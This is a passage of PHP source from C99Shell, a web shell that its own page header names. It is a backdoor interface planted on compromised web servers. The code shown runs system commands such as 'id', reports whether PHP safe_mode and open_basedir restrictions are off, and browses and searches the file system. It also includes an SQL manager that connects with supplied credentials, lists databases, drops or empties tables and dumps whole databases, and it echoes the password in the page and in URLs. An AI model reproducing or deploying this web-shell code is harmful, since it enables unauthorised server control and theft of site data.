  692.  {
  693.   echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  694.   if ($tbl_struct)
  695.   {
  696.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  697.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  698.    echo "</td></tr></table>";
  699.   }
  700.  }
  701.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  702. }
  703. }
  704. if (!function_exists("mysql_create_db"))
  705. {
  706. function mysql_create_db($db,$sock="")
  707. {
  708.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  709.  if ($sock) {return mysql_query($sql,$sock);}
  710.  else {return mysql_query($sql);}
  711. }
  712. }
  713. if (!function_exists("mysql_query_parse"))
  714. {
  715. function mysql_query_parse($query)
  716. {
  717.  $query = trim($query);
  718.  $arr = explode (" ",$query);
  719.  /*array array()
  720.  {
  721.   "METHOD"=>array(output_type),
  722.   "METHOD1"...
  723.   ...
  724.  }
  725.  if output_type == 0, no output,
  726.  if output_type == 1, no output if no error
  727.  if output_type == 2, output without control-buttons
  728.  if output_type == 3, output with control-buttons
  729.  */
  730.  $types = array(
  731.   "SELECT"=>array(3,1),
  732.   "SHOW"=>array(2,1),
  733.   "DELETE"=>array(1),
  734.   "DROP"=>array(1)
  735.  );
  736.  $result = array();
  737.  $op = strtoupper($arr[0]);
  738.  if (is_array($types[$op]))
  739.  {
  740.   $result["propertions"] = $types[$op];
  741.   $result["query"]  = $query;
  742.   if ($types[$op] == 2)
  743.   {
  744.    foreach($arr as $k=>$v)
  745.    {
  746.     if (strtoupper($v) == "LIMIT")
  747.     {
  748.      $result["limit"] = $arr[$k+1];
  749.      $result["limit"] = explode(",",$result["limit"]);
  750.      if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  751.      unset($arr[$k],$arr[$k+1]);
  752.     }
  753.    }
  754.   }
  755.  }
  756.  else {return FALSE;}
  757. }
  758. }
  759. if (!function_exists("c99fsearch"))
  760. {
  761. function c99fsearch($d)
  762. {
  763.  global $found;
  764.  global $found_d;
  765.  global $found_f;
  766.  global $search_i_f;
  767.  global $search_i_d;
  768.  global $a;
  769.  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  770.  $h = opendir($d);
  771.  while (($f = readdir($h)) !== FALSE)
  772.  {
  773.   if($f != "." && $f != "..")
  774.   {
  775.    $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  776.    if (is_dir($d.$f))
  777.    {
  778.     $search_i_d++;
  779.     if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  780.     if (!is_link($d.$f)) {c99fsearch($d.$f);}
  781.    }
  782.    else
  783.    {
  784.     $search_i_f++;
  785.     if ($bool)
  786.     {
  787.      if (!empty($a["text"]))
  788.      {
  789.       $r = @file_get_contents($d.$f);
  790.       if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  791.       if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  792.       if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  793.       else {$bool = strpos(" ".$r,$a["text"],1);}
  794.       if ($a["text_not"]) {$bool = !$bool;}
  795.       if ($bool) {$found[] = $d.$f; $found_f++;}
  796.      }
  797.      else {$found[] = $d.$f; $found_f++;}
  798.     }
  799.    }
  800.   }
  801.  }
  802.  closedir($h);
  803. }
  804. }
  805. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  806. //Sending headers
  807. @ob_start();
  808. @ob_implicit_flush(0);
  809. function onphpshutdown()
  810. {
  811.  global $gzipencode,$ft;
  812.  if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  813.  {
  814.   $v = @ob_get_contents();
  815.   @ob_end_clean();
  816.   @ob_start("ob_gzHandler");
  817.   echo $v;
  818.   @ob_end_flush();
  819.  }
  820. }
  821. function c99shexit()
  822. {
  823.  onphpshutdown();
  824.  exit;
  825. }
  826. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  827. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  828. header("Cache-Control: no-store, no-cache, must-revalidate");
  829. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  830. header("Pragma: no-cache");
  831. if (empty($tmpdir))
  832. {
  833.  $tmpdir = ini_get("upload_tmp_dir");
  834.  if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  835. }
  836. $tmpdir = realpath($tmpdir);
  837. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  838. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  839. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  840. else {$tmpdir_logs = realpath($tmpdir_logs);}
  841. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  842.  
  843. {
  844.  $safemode = TRUE;
  845.  $hsafemode = "<font color=red>ON (secure)</font>";
  846. }
  847. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  848. $v = @ini_get("open_basedir");
  849. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  850. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  851. $sort = htmlspecialchars($sort);
  852. if (empty($sort)) {$sort = $sort_default;}
  853. $sort[1] = strtolower($sort[1]);
  854. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  855. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  856. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  857. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  858. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  859. @ini_set("highlight.default",$highlight_default); //#0000BB
  860. @ini_set("highlight.html",$highlight_html); //#000000
  861. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  862. @ini_set("highlight.string",$highlight_string); //#DD0000
  863. if (!is_array($actbox)) {$actbox = array();}
  864. $dspact = $act = htmlspecialchars($act);
  865. $disp_fullpath = $ls_arr = $notls = null;
  866. $ud = urlencode($d);
  867. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
  868. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  869. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  870. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  871. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  872. $d = str_replace("\\\\","\\",$d);
  873. $dispd = htmlspecialchars($d);
  874. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  875. $i = 0;
  876. foreach($pd as $b)
  877. {
  878.  $t = "";
  879.  $j = 0;
  880.  foreach ($e as $r)
  881.  {
  882.   $t.= $r.DIRECTORY_SEPARATOR;
  883.   if ($j == $i) {break;}
  884.   $j++;
  885.  }
  886.  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
  887.  $i++;
  888. }
  889. echo "&nbsp;&nbsp;&nbsp;";
  890. if (is_writable($d))
  891. {
  892.  $wd = TRUE;
  893.  $wdt = "<font color=green>[ ok ]</font>";
  894.  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  895. }
  896. else
  897. {
  898.  $wd = FALSE;
  899.  $wdt = "<font color=red>[ Read-Only ]</font>";
  900.  echo "<b>".view_perms_color($d)."</b>";
  901. }
  902. if (is_callable("disk_free_space"))
  903. {
  904.  $free = disk_free_space($d);
  905.  $total = disk_total_space($d);
  906.  if ($free === FALSE) {$free = 0;}
  907.  if ($total === FALSE) {$total = 0;}
  908.  if ($free < 0) {$free = 0;}
  909.  if ($total < 0) {$total = 0;}
  910.  $used = $total-$free;
  911.  $free_percent = round(100/($total/$free),2);
  912.  echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
  913. }
  914. echo "<br>";
  915. $letters = "";
  916. if ($win)
  917. {
  918.  $v = explode("\\",$d);
  919.  $v = $v[0];
  920.  foreach (range("a","z") as $letter)
  921.  {
  922.   $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  923.   if (!$bool) {$bool = is_dir($letter.":\\");}
  924.   if ($bool)
  925.   {
  926.    $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
  927.    if ($letter.":" != $v) {$letters .= $letter;}
  928.    else {$letters .= "<font color=green>".$letter."</font>";}
  929.    $letters .= " ]</a> ";
  930.   }
  931.  }
  932.  if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  933. }
  934. if (count($quicklaunch) > 0)
  935. {
  936.  foreach($quicklaunch as $item)
  937.  {
  938.   $item[1] = str_replace("%d",urlencode($d),$item[1]);
  939.   $item[1] = str_replace("%sort",$sort,$item[1]);
  940.   $v = realpath($d."..");
  941.   if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  942.   $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  943.   echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
  944.  }
  945. }
  946. echo "</p></td></tr></table><br>";
  947. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  948. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  949. if ($act == "") {$act = $dspact = "ls";}
  950. if ($act == "sql")
  951. {
  952.  $sql_surl = $surl."act=sql";
  953.  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  954.  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  955.  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  956.  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  957.  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  958.  $sql_surl .= "&";
  959.  ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  960.  if ($sql_server)
  961.  {
  962.   $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  963.   $err = mysql_smarterror();
  964.   @mysql_select_db($sql_db,$sql_sock);
  965.   if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  966.  }
  967.  else {$sql_sock = FALSE;}
  968.  echo "<b>SQL Manager:</b><br>";
  969.  if (!$sql_sock)
  970.  {
  971.   if (!$sql_server) {echo "NO CONNECTION";}
  972.   else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  973.  }
  974.  else
  975.  {
  976.   $sqlquicklaunch = array();
  977.   $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  978.   $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  979.   $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  980.   $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  981.   $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  982.   $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  983.   echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  984.   if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  985.   echo "</center>";
  986.  }
  987.  echo "</td></tr><tr>";
  988.  if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  989.  else
  990.  {
  991.   //Start left panel
  992.   if (!empty($sql_db))
  993.   {
  994.    ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  995.    $result = mysql_list_tables($sql_db);
  996.    if (!$result) {echo mysql_smarterror();}
  997.    else
  998.    {
  999.     echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1000.     $c = 0;
  1001.     while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1002.     if (!$c) {echo "No tables found in database.";}
  1003.    }
  1004.   }
  1005.   else
  1006.   {
  1007.    ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1008.    $result = mysql_list_dbs($sql_sock);
  1009.    if (!$result) {echo mysql_smarterror();}
  1010.    else
  1011.    {
  1012.     ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1013.     $c = 0;
  1014.     $dbs = "";
  1015.     while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1016.     echo "<option value=\"\">Databases (".$c.")</option>";
  1017.     echo $dbs;
  1018.    }
  1019.    ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1020.   }
  1021.   //End left panel
  1022.   echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1023.   //Start center panel
  1024.   $diplay = TRUE;
  1025.   if ($sql_db)
  1026.   {
  1027.    if (!is_numeric($c)) {$c = 0;}
  1028.    if ($c == 0) {$c = "no";}
  1029.    echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1030.    if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1031.    echo "</b></center>";
  1032.    $acts = array("","dump");
  1033.    if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1034.    elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1035.    elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1036.    elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1037.    elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1038.    elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1039.    elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1040.    elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1041.    elseif ($sql_tbl_act == "insert")
  1042.    {
  1043.     if ($sql_tbl_insert_radio == 1)
  1044.     {
  1045.      $keys = "";
  1046.      $akeys = array_keys($sql_tbl_insert);
  1047.      foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1048.      if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1049.      $values = "";
  1050.      $i = 0;
  1051.      foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1052.      if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1053.      $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1054.      $sql_act = "query";
  1055.      $sql_tbl_act = "browse";
  1056.     }
  1057.     elseif ($sql_tbl_insert_radio == 2)
  1058.     {
  1059.      $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1060.      $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1061.      $result = mysql_query($sql_query) or print(mysql_smarterror());
  1062.      $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1063.      $sql_act = "query";
  1064.      $sql_tbl_act = "browse";
  1065.     }
  1066.    }
  1067.    if ($sql_act == "query")
  1068.    {
  1069.     echo "<hr size=\"1\" noshade>";
  1070.     if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1071.     if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1072.     if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1073.    }
  1074.    if (in_array($sql_act,$acts))
  1075.    {
  1076.     ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1077.     if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1078.     if ($sql_act == "newtbl")
  1079.     {
  1080.      echo "<b>";
  1081.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1082.     }
  1083.     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1084.    }
  1085.    elseif ($sql_act == "dump")
  1086.    {
  1087.     if (empty($submit))
  1088.     {
  1089.      $diplay = FALSE;
  1090.      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1091.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1092.      $v = join (";",$dmptbls);
